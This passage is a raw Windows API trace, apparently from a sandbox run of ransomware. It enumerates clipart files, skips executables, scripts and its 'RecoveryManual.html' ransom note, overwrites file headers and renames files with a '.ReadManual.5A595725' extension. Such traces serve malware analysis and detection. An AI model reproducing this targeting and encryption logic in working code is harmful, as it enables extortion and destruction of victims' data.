[0261.022] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x108c, lpName=0x0) returned 0x184 [0261.022] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.022] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.022] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.024] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.024] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x108c) returned 0x2f0000 [0261.024] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.024] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38169306261) returned 1 [0261.024] CloseHandle (hObject=0x184) returned 1 [0261.024] SetSecurityInfo () returned 0x57 [0261.024] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.025] CloseHandle (hObject=0x194) returned 1 [0261.025] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0261.025] lstrcpyW (in: lpString1=0x6ab90a, lpString2="CARBN_01.MID" | out: lpString1="CARBN_01.MID") returned="CARBN_01.MID" [0261.025] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="RecoveryManual.html") returned -1 [0261.025] StrStrIW (lpFirst="CARBN_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.025] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0261.025] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0261.025] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0261.025] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0261.025] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0261.026] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0261.026] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0261.026] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0261.026] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0261.026] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0261.026] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0261.026] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0261.026] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0261.026] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0261.026] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" [0261.026] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.ReadManual.5A595725" [0261.026] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.ReadManual.5A595725") returned 87 [0261.026] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38169464820) returned 1 [0261.026] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid")) returned 0x20 [0261.027] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.028] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9322) returned 1 [0261.028] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x246a, lpName=0x0) returned 0x184 [0261.028] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.028] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.028] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.030] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.030] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x246a) returned 0x2f0000 [0261.031] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.031] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38169949094) returned 1 [0261.031] CloseHandle (hObject=0x184) returned 1 [0261.031] SetSecurityInfo () returned 0x57 [0261.031] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.031] CloseHandle (hObject=0x194) returned 1 [0261.032] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceceee00, ftCreationTime.dwHighDateTime=0x1c9b81d, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xceceee00, ftLastWriteTime.dwHighDateTime=0x1c9b81d, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0261.032] lstrcpyW (in: lpString1=0x6ab90a, lpString2="CG1606.WMF" | out: lpString1="CG1606.WMF") returned="CG1606.WMF" [0261.032] lstrcmpiW (lpString1="CG1606.WMF", lpString2="RecoveryManual.html") returned -1 [0261.032] StrStrIW (lpFirst="CG1606.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.032] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.032] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.032] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.032] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.032] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.032] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.032] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.032] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.032] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.032] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.032] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.032] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.032] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.032] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.032] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" [0261.032] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.ReadManual.5A595725" [0261.032] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.ReadManual.5A595725") returned 85 [0261.032] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38170095192) returned 1 [0261.032] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 0x20 [0261.034] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.034] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3564) returned 1 [0261.034] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdec, lpName=0x0) returned 0x184 [0261.034] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xba) returned 1 [0261.035] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.035] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.036] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.036] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdec) returned 0x2f0000 [0261.037] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.037] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38170542946) returned 1 [0261.037] CloseHandle (hObject=0x184) returned 1 [0261.037] SetSecurityInfo () returned 0x57 [0261.037] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.037] CloseHandle (hObject=0x194) returned 1 [0261.037] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0261.037] lstrcpyW (in: lpString1=0x6ab90a, lpString2="CLASSIC1.WMF" | out: lpString1="CLASSIC1.WMF") returned="CLASSIC1.WMF" [0261.037] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="RecoveryManual.html") returned -1 [0261.037] StrStrIW (lpFirst="CLASSIC1.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.037] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.037] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.037] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.037] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.037] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.037] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.037] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.037] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.037] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.037] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.037] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.038] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.038] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.038] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.038] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" [0261.038] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.ReadManual.5A595725" [0261.038] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.ReadManual.5A595725") returned 87 [0261.038] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38170649324) returned 1 [0261.038] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 0x20 [0261.039] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.039] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2422) returned 1 [0261.039] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x976, lpName=0x0) returned 0x184 [0261.039] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.040] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.040] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.045] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.045] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x976) returned 0x2f0000 [0261.045] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.045] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38171389347) returned 1 [0261.045] CloseHandle (hObject=0x184) returned 1 [0261.045] SetSecurityInfo () returned 0x57 [0261.045] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.045] CloseHandle (hObject=0x194) returned 1 [0261.046] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0261.046] lstrcpyW (in: lpString1=0x6ab90a, lpString2="CLASSIC2.WMF" | out: lpString1="CLASSIC2.WMF") returned="CLASSIC2.WMF" [0261.046] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2="RecoveryManual.html") returned -1 [0261.046] StrStrIW (lpFirst="CLASSIC2.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.046] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.046] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.046] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.046] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.046] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.046] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.046] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.046] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.046] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.046] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.047] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.047] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.047] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.047] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.047] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" [0261.047] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.ReadManual.5A595725" [0261.047] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.ReadManual.5A595725") returned 87 [0261.047] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38171550116) returned 1 [0261.047] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 0x20 [0261.048] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.048] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2262) returned 1 [0261.048] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8d6, lpName=0x0) returned 0x184 [0261.048] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.049] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.049] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.051] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.051] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8d6) returned 0x2f0000 [0261.051] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.051] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38171985878) returned 1 [0261.051] CloseHandle (hObject=0x184) returned 1 [0261.051] SetSecurityInfo () returned 0x57 [0261.051] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.051] CloseHandle (hObject=0x194) returned 1 [0261.052] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0261.052] lstrcpyW (in: lpString1=0x6ab90a, lpString2="CLIP.WMF" | out: lpString1="CLIP.WMF") returned="CLIP.WMF" [0261.052] lstrcmpiW (lpString1="CLIP.WMF", lpString2="RecoveryManual.html") returned -1 [0261.052] StrStrIW (lpFirst="CLIP.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.052] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.052] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.052] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.052] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.052] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.052] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.052] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.052] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.052] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.052] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.052] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.052] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.052] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.052] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.052] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" [0261.053] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.ReadManual.5A595725" [0261.053] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.ReadManual.5A595725") returned 83 [0261.053] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38172139580) returned 1 [0261.053] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 0x20 [0261.054] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.054] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2262) returned 1 [0261.054] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8d6, lpName=0x0) returned 0x184 [0261.054] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xb6) returned 1 [0261.054] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.055] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.056] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.056] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8d6) returned 0x2f0000 [0261.056] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.056] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38172523827) returned 1 [0261.057] CloseHandle (hObject=0x184) returned 1 [0261.057] SetSecurityInfo () returned 0x57 [0261.057] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.057] CloseHandle (hObject=0x194) returned 1 [0261.057] FindNextFileW (in: 